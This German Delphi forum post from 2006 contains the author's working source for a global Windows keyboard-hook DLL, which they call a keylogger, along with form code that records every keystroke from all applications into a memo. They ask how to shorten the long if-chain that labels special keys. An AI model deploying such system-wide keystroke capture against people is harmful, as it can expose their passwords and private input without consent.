Einzelnen Beitrag anzeigen

A-M-X

Registriert seit: 29. Sep 2005
Ort: Karlsruhe
152 Beiträge
 
#1

KeyHook - Kleine Einsteigerhilfe gesucht

  Alt 12. Feb 2006, 15:22
Huhu!

Erstmal: Ich habe nicht das Problem 'Wie programmiere ich einen Keylogger' oder 'Wie sende ich Tasten an ein anderes Fenster', nein , ich HABE einen Keylogger programmiert bzw. mir die Codes aus dem besten Delphi Forum -> DP gesucht und mir mal ein Programm zusammengeschnipselt.

Hier mein Problem, bei dem ich hoffe, dass es gelöst werden kann:

Ich habe die dll KeyHook.dll

Delphi-Quellcode:
library KeyHook;

uses
  Windows,
  Messages;

{$R *.res}

type
  PHWND = ^HWND;

const
  WM_KEYBOARD_HOOK = WM_USER + 52012;

var
  hHook: LongWord = 0;
  Key: Word;
  KeyboardLayout: HKL;
  GetShiftKeys: Boolean;
  hWndBuffer: PHWND;
  hMMF: THandle;

function KeyboardProc(nCode: Integer; wParam: LongWord; lParam: LongWord): LongWord; stdcall;
var
  LastKey: Char;
  KeyState: TKeyboardState;
begin
Result := CallNextHookEx(hHook, nCode, wParam, lParam);
if nCode < 0 then Exit;
KeyboardLayout := GetKeyboardLayout(0);
GetKeyboardState(KeyState);
if ToAsciiEx(wParam, MapVirtualKeyEx(wParam, 2, KeyboardLayout), KeyState, @LastKey, 0, KeyboardLayout) > 0 then
  Key := Ord(LastKey)
else
  Key := wParam;
if ((lParam and $80000000) = 0) and (not (wParam in [16, 17, 18]) or GetShiftKeys) then
PostMessage(hwndBuffer^, WM_KEYBOARD_HOOK, Key, GetActiveWindow);
end;

function Key_CreateHook(hWnd: HWND; ShiftKeys: Boolean): Boolean; stdcall;
var
  bHWND: PHWND;
begin
hMMF := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE or SEC_COMMIT, 0, SizeOf(hWnd), 'EDO-SoftKeyHookHandle');
bHWND := MapViewOfFile(hMMF, FILE_MAP_WRITE, 0, 0, SizeOf(HWND));
bHWND^ := hWnd;
UnmapViewOfFile(bHWND);
GetMem(hWndBuffer, SizeOf(HWND));
hWndBuffer^ := hWnd;
GetShiftKeys := ShiftKeys;
if hHook = 0 then
  hHook := SetWindowsHookEx(WH_KEYBOARD, @KeyboardProc, hInstance, 0);
Result := hHook <> 0;
end;

function Key_DeleteHook: Boolean; stdcall;
begin
FreeMem(hWndBuffer);
CloseHandle(hMMF);
Result := UnhookWindowsHookEx(hHook);
hHook := 0;
end;

exports
  Key_CreateHook,
  Key_DeleteHook;

var
  MMF: THandle;

begin
MMF := OpenFileMapping(FILE_MAP_READ, false, 'EDO-SoftKeyHookHandle');
if MMF <> 0 then
  begin
  hWndBuffer := MapViewOfFile(MMF, FILE_MAP_READ, 0, 0, SizeOf(HWND));
  CloseHandle(MMF);
  end;
end.
So nun verwende ich die auch in meinem Programm. Geht alles schön und gut.

Nur wenn der Benutzer z.B. die Funktionstaste F1 oder F2 ... drückt, erscheint das von der DLL nicht einfach so.

Ich habe das folgendermaßen gelöst:

Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
var
S: String;
begin
if Msg.message = WM_KEYBOARD_HOOK then
 // --------------------------- Beginn der Sonder und Ausnahmefunktionen
  begin
  if Msg.wParam = 13 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Enter>';
  Exit;
  end;
  if Msg.wParam = 32 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Spacebar>';
  Exit;
  end;
  if Msg.wParam = 112 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F1">';
  Exit;
  end;
  if Msg.wParam = 113 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F2">';
  Exit;
  end;
  if Msg.wParam = 114 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F3">';
  Exit;
  end;
  if Msg.wParam = 115 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F4">';
  Exit;
  end;
  if Msg.wParam = 116 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F5">';
  Exit;
  end;
  if Msg.wParam = 117 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F6">';
  Exit;
  end;
  if Msg.wParam = 118 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F7">';
  Exit;
  end;
  if Msg.wParam = 119 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F8">';
  Exit;
  end;
  if Msg.wParam = 120 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F9">';
  Exit;
  end;
  if Msg.wParam = 121 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F10">';
  Exit;
  end;
  if Msg.wParam = 122 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F11">';
  Exit;
  end;
  if Msg.wParam = 123 then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Function Key "F12">';
  Exit;
  end;
  if Msg.wParam = VK_BACK then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + '<Backspace>';
  Exit;
  end;

//------------------------ Ende der Sonder und Ausnahmefunktionen
  Memo1.Lines.Text := Memo1.Lines.Text + (Chr(Msg.wParam));
  end;
end;

So nun ist da ein kleines Problem:

Ich möchte nicht andauernd

Delphi-Quellcode:
  if Msg.wParam = {Irgendeine Taste} then
  begin
  Memo1.Lines.Text := Memo1.Lines.Text + #13 + 'Irgend ne Taste';
  Exit;
eingeben.

Meine Frage:

Gibt es da eine Methode, den Quelltext zu verkürzen? Ich meine also z.B.

Delphi-Quellcode:
120: '<Function Key F9>';
121: '<Function Key F10>';
oder so.. nur im "grafischen" Sinne


Hab mich damit noch nie so richtig beschäftigt, kenne mich da also nicht so aus.
Weiß einer wie das geht?

P.S.: Die, die das jetzt immer noch ned geblickt haben ( ): Ich möchte den Quelltext bei
Delphi-Quellcode:
procedure TForm1.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
verkürzen
  Mit Zitat antworten Zitat